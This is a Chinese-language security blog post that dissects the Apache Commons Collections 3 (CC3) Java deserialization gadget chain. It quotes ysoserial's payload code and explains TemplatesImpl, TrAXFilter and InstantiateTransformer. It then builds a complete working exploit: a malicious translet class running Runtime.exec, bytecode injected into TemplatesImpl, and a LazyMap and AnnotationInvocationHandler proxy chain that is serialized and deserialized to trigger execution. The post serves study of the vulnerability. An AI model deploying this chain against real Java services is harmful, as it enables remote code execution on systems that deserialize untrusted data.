這是CC鏈分析的第二篇文章,我想按著common-collections的版本順序來介紹,所以順序為 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。
開啟YsoSerial payloads CommonsCollections3原始碼:
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
和CC1 程式碼對比:
只有 transformer生成邏輯不一樣, 使用到了三個新的關鍵類InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我們重點看下著三個新類是幹嘛的。
InstantiateTransformer
檢視原始碼:
從transfomer可知,先通過反射 getConstructor 獲取傳入物件的構造器,然後通過 newInstance 方法例項化物件,這麼看InstantiateTransformer 近似與new。
寫個使用例子,存在一個PersonBean.java ,裡面的建構函式會列印我被初始化了。
public class PersonBean {
public PersonBean(){
System.out.println("我被初始化了");
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private String name;
private int age;
}
用InstantiateTransformer 的方式生成instantiateTransformer 物件,寫一個測試類方法
import org.apache.commons.collections.functors.InstantiateTransformer;
public class MainTrueTest {
public static void main(String[] args) {
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
instantiateTransformer.transform(PersonBean.class);
}
}
結果,構造方法被執行:
TemplatesImpl
這是一個JDK用於在處理xml檔案用到的類,在Java 8u251後不能使用, 具體這個類的說明,以及高版本不能使用的原因可以看P神的這一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
在之前用作命令執行的類是InvokerTransfomer,但在Common-collections爆出漏洞的時候很多黑名單都直接將InvokerTransfomer這個類拉黑了,所以需要尋找其他能夠直接執行命令的類,於是安全人員就找到了這個類,TemplatesImpl的應用非常廣泛,cc鏈2和3、fastjson不出網利用、jdk7u21等等,如果把Java反序列化漏洞比做一個考試的話,TemplatesImpl就肯定是個必考點。
前置知識——ClassLoader
先來了解一個前置知識,JVM在載入類的時候會用到ClassLoader,預設分為三種載入器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分別載入 Java 核心類庫、擴充套件類庫以及應用的類路徑( CLASSPATH)下的類庫,JVM通過雙親委派的機制進行類的載入,防止系統類被輕易篡改,我們也可以繼承java.lang.classloader 實現自己的類載入器。
其中ClassLoader提供了幾個重要的方法:
- loadClass(String classname) 委派呼叫父級loadClass,沒找到就呼叫findClass()
- findClass() ,搜尋類的位置,根據名稱載入class位元組碼檔案,呼叫defineClass()
- defineClass(), 將位元組碼轉為class物件
呼叫順序 loadClass -> findClass() -> defineClass(),出了classLoader可以載入類外還可以用Class.forName
,但存在區別,看程式碼:
[[Ljava.util.ArrayList;
同樣是一個類陣列,Class.forName()
可以載入,loadClass
不能,這也正是這兩點區別之一,也正是這個區別決定了Shiro不能直接用CC鏈去打。
TemplatesImpl利用
前面介紹了ClassLoader的三種載入類的方法,在TemplatesImpl程式碼299行也存在一個defineClass()
,這個不亞於php中的eval,
line:299對一個私有變數_bytecodes
進行了載入,其中loader為一個自定義的TransletClassLoader
裡面只重寫了defineClass。
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
_bytecodes
可以通過反射的方式進行賦值,看一下 299所在方法為defineTransletClasses()
, 共有三個地方呼叫該方法:
其中getTransletInstance()
在呼叫 後,還進行了.newInstance()
例項化操作。
這樣類不但能被載入還能被例項化,滿足_name
不為null,但getTransletInstance()
是一個私有方法,繼續追蹤有誰在呼叫這個方法:
public方法 newTransformer
有呼叫getTransletInstance(),那要把惡意類轉化為byte陣列賦值給_bytecodes
並呼叫newTransformer方法即可完成命令執行。
整理下命令執行的條件:
- 有地方呼叫newTransformer()
_name
不為null- 惡意類的父類為
org.apache.xalan.xsltc.runtime.AbstractTranslet
用自己的程式碼做下實驗。
- 準備一個惡意類,繼承
AbstractTranslet
:
package expUtils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
/*
* 供TemplatesImpl 使用的poc程式碼
* */
public class TemplatesEvilClass extends AbstractTranslet {
private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
static {
// 攻擊程式碼
System.out.println("static : pwn!");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public TemplatesEvilClass(){
// 攻擊程式碼
System.out.println("constructor: pwn!");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
- 基於惡意類生成惡意TemplatesImpl物件
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import expUtils.ReflectUtils;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import static expUtils.ReflectUtils.getClassByte;
public class Test3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 將檔案位元組碼轉為byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
templates.newTransformer(); // 驗證程式碼執行
}
}
惡意程式碼成功執行:
這裡其實有一個疑問,在cc3和其他使用TemplatesImpl利用的地方都會將_tfactory
賦值,目前我還不清楚為啥要這麼做。
TrAXFilter
這個類是對XMLFilter的實現,而XMLFilter又是繼承與XMLReader,那大概知道,可能是拿來做xml讀取使用的,我們找到這個類的建構函式:
在建構函式中需要傳入一個TransformerImpl物件,然後在 在建構函式中會對TransformerImpl執行newTransformer()
方法,這就和前面介紹的InstantiateTransformer和TemplatesImpl 結合了起來,我們只需要將CC1鏈中的InvokerTransformer換成InstantiateTransformer,將TrAXFilter賦給InstantiateTransformer.transformer的輸入即可。
實現
我們自己實現一下:
第一步,生成惡意TemplatesImpl物件:
// 第一步 生成惡意TemplatesImpl 物件
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 將檔案位元組碼轉為byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
第二步 生成惡意chainTransformer
// 第二步 生成惡意chainTransformer
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
第三步 繫結到動態代理增強到AnnotationInvocationHandler上
// 第三步
HashMap<string,string> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 傳入lazyMap
Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 傳入代理lazyMap
第四步 反序列化觸發
String path = ExpUtils.serialize(finalEvilHandler);
ExpUtils.unserialize(path);
執行結果:
成功觸發。
總結
CC3其實和CC1觸發過程的後半段基本一致,區別在於前面生產transfomer陣列使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情況下,使用CC3。
</string,string>